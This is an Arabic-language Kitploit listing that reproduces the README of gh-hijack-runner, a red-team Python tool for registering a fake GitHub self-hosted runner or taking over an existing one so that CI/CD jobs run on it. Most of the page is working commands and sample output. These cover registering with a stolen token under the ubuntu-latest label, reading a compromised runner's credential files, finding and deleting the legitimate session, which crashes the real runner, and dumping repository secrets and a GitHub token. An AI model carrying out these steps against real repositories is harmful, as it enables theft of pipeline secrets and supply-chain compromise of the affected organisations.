Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/synacktiv/gh-hijack-runner
الاستغلالتسريب البياناتاختبار الاختراقأمن السحابةأمن سلسلة التوريدالفريق الأحمر
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

نص برمجي بلغة Python لإنشاء عدّاء GitHub مزيف واختطاف وظائف خط أنابيب CI/CD لتسريب الأسرار.

عرض المستودع
335منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

gh-hijack-runner

نص برمجي بلغة بايثون لإنشاء عدّاء GitHub مزيّف واختطاف وظائف خط الأنابيب لتسريب أسرار CI/CD.

اكتشف المزيد من التفاصيل في المقالة التالية: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

الاستغلال

إذا تمكنت من الحصول على رمز تسجيل أو تحقيق تنفيذ تعليمات برمجية عن بُعد على عدّاء GitHub مستضاف ذاتيًا، يمكنك إنشاء عدّاء GitHub أو الاستيلاء عليه. سيسمح لك ذلك بالوصول إلى جميع الأسرار التي يتم تمريرها إلى ذلك العدّاء.

باستخدام رمز تسجيل، يمكنك تسجيل عدّاء بعلامة ubuntu-latest، مما يمنحك الوصول إلى الوظائف المخصصة أصلاً للعدّائين المزوّدين من GitHub. يتيح لك هذا اختراق أي سير عمل يستخدم هذه الطريقة.

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

التثبيت

root@kitploit:~
$ pip install -r requirements.txt 

الاستخدام

من رمز تسجيل

إذا تمكنت من الحصول على رمز تسجيل لتسجيل عدّاء مستضاف ذاتيًا لمستودع أو مؤسسة، يمكنك تسجيل عدّاء GitHub المزيّف باستخدام هذا الأمر:

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

يمكن أن يكون هذا رمز تسجيل لمؤسسة أو مستودع.

من بيانات اعتماد عدّاء GitHub موجود

مع تنفيذ تعليمات برمجية عشوائية على عدّاء مستضاف ذاتيًا، تحتاج إلى تسريب ثلاثة ملفات لانتحال هوية العدّاء المخترق:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

لجلب الوظائف، سينشئ العدّاء جلسة مع GitHub. يمكن لكل عدّاء الاحتفاظ بجلسة واحدة فقط. لإنشاء جلسة جديدة، تحتاج إلى حذف الجلسة الحالية التي أنشأها العدّاء الشرعي. يمكن العثور على معرف الجلسة هنا:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ حذف الجلسة الحالية سيؤدي إلى تعطل العدّاء الشرعي /!\

بعد ذلك، يمكنك حذف الجلسة الحالية:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

أخيرًا، يمكنك اختطاف هذا العدّاء:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

لاحظ أن هذا لن يعمل مع العدّاء المستضاف ذاتيًا المؤقت.

المساعدة

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

الاعتمادات

  • @karimpwnz من أجل crypto
  • @0xn3va من أجل جزء حذف الجلسة
  • @frichette_n من أجل الفكرة الأصلية على GitLab
تنزيل الأداة